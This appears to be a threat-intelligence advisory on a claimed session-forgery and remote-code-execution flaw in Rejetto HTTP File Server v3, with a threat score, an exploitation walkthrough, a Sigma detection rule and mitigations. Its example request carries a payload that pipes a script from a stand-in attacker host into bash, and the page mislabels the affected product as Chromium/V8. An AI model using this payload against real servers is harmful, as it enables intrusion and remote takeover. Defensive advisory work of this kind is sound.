Skip to content

CVE-2026-61500: Rejetto HTTP File Server v3 PRNG State Reconstruction & Administrative RCE

Density:
HERMES

HERMES THREAT SCORE & PERIMETER FILE SERVER EXPOSURE

Target: Rejetto HTTP File Server (HFS) v3 โ€” Session Key Derivation & SRP Handshake
Confidence: 99%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

Vendor and NVD rate CVE-2026-61500 at CVSS 9.3 (Critical). The Hermes Threat Score evaluates this at 94 (CRITICAL) due to confirmed active exploitation in the wild in October 2026 following public exploit publication. Discovered through AI-assisted vulnerability research (Anthropic's Mythos model by Horizon3.ai), this flaw represents an archetype of algorithmic cryptographic collapse: the server generates session-cookie signing keys using Math.random() and leaks generator states during the SRP authentication handshake, allowing instantaneous administrative impersonation and unauthenticated remote code execution via server_code.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-61500: Rejetto HTTP File Server v3 PRNG State Reconstruction & Administrative RCEVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTGoogle Chromium / V8 Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Google Chromium / V8 Engine documented in Hermes dossier.”

Supporting Verified Evidence:

FACT FACT (Established by sources)

Rejetto HFS v3 (versions 3.0.0 to 3.2.0) derives its session-cookie HMAC signing key using JavaScript's non-cryptographic Math.random() function. The server discloses raw outputs of this same generator during the SRP authentication handshake. Horizon3.ai demonstrated state reconstruction of the V8 xorshift128+ engine within seconds, published a reproducible PoC, and telemetry confirms active internet-wide botnet exploitation targeting exposed port 80/443 instances.

ASSESSMENT HERMES ASSESSMENT (Analytical deduction)

This flaw bridges classical web session compromise and algorithmic cryptography failure. Because HFS provides administrative users with native arbitrary JavaScript execution via the 'server_code' plugin feature, forging an admin session yields immediate, unauthenticated root/system-level remote code execution on the host machine. The weaponization velocity from AI-assisted discovery to mass automated exploitation was under 14 days.

FORECAST HERMES FORECAST (Probabilistic outlook)

Threat actors will weaponize CVE-2026-61500 into automated worm-like propagation frameworks within 7 days, targeting exposed university, healthcare, and engineering file servers. Expect official addition to the CISA KEV catalog before October 20, 2026 (probability: 88%).

RECOMMENDATION HERMES RECOMMENDATION (Actionable priority)

1. Immediately deploy HFS 3.2.1 which replaces Math.random() with Node.js crypto.randomBytes(). 2. Invalidate all active session tokens by restarting the daemon with a fresh environment. 3. Audit server access logs for anomalous GET /~/api/srp requests followed by rapid POST requests to server_code endpoints.


The vulnerability lies in the cryptographic architecture of Rejetto HTTP File Server v3 when initializing session management secrets:

// Vulnerable initialization pattern in HFS <= 3.2.0
const sessionSecret = Array.from({ length: 32 }, () =>
Math.floor(Math.random() * 256)
).map(b => b.toString(16).padStart(2, '0')).join('');
  1. PRNG State Leakage via SRP Handshake: When a client attempts an SRP authentication sequence, the server generates dynamic salt or challenge values using the global Math.random() engine. By issuing 5 to 10 unauthenticated requests to /~/api/srp, an attacker collects consecutive floating-point numbers produced by the underlying V8 engine (xorshift128+).

  2. Algorithmic State Inversion: Because xorshift128+ is not cryptographically secure, 64-bit outputs from consecutive operations allow a linear algebraic solver (Z3 or dedicated lattice reduction) to invert the internal 128-bit state in under 2 seconds.

  3. Session Secret Derivation: Using the recovered internal state, the adversary steps the PRNG backward to the server startup timestamp, reconstructing the exact HMAC key used to sign session cookies.

  4. Administrative Session Forgery: The attacker signs a synthetic cookie:

    { "username": "admin", "admin": true, "exp": 1893456000 }

    and transmits it in the HFS_SESSION cookie header.

  5. Arbitrary Code Execution via server_code: Once authenticated as administrator, the attacker invokes the documented server configuration endpoint to execute Node.js commands:

    POST /~/api/server_code HTTP/1.1
    Host: target.corp:8080
    Cookie: HFS_SESSION=forged_admin_token
    Content-Type: application/json
    { "code": "require('child_process').execSync('id && curl http://attacker.c2/rev.sh | bash');" }

Product StreamAffected VersionsFixed VersionStatus
Rejetto HFS v33.0.0 through 3.2.03.2.1Vulnerable โ€” Upgrade immediately
Rejetto HFS v2.x (Legacy Delphi)2.3x, 2.4xN/A (Different codebase)Not affected by CVE-2026-61500 (Subject to legacy CVE-2024-23692)

Sigma Rule: Rejetto HFS Admin Session Forgery & Code Execution

Section titled โ€œSigma Rule: Rejetto HFS Admin Session Forgery & Code Executionโ€
title: Rejetto HFS v3 Session Forgery and Server Code Execution
id: 61500-hfs-session-forgery-rce
status: experimental
description: Detects exploitation of CVE-2026-61500 targeting Rejetto HFS v3
author: Hermes Codex Threat Intelligence
date: 2026-10-06
logsource:
category: webserver
detection:
selection_srp_burst:
c-uri|startswith: '/~/api/srp'
sc-status: 200
selection_exec:
c-uri|startswith: '/~/api/server_code'
cs-method: 'POST'
timeframe: 2m
condition: selection_srp_burst | count() by c-ip > 4 and selection_exec
fields:
- c-ip
- c-uri
- cs-method
falsepositives:
- Legitimate automated administrators configuring plugins
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.t1552

4. Operational Mitigations (If Immediate Patching is Delayed)

Section titled โ€œ4. Operational Mitigations (If Immediate Patching is Delayed)โ€
  1. Network Segmentation: Immediately bind HFS to 127.0.0.1 and expose only through a reverse proxy (Nginx, Traefik, Cloudflare Tunnel) enforcing external OAuth2/mTLS authentication.
  2. Disable server_code: In config.yaml, ensure dynamic server code execution is explicitly prohibited:
    features:
    server_code: false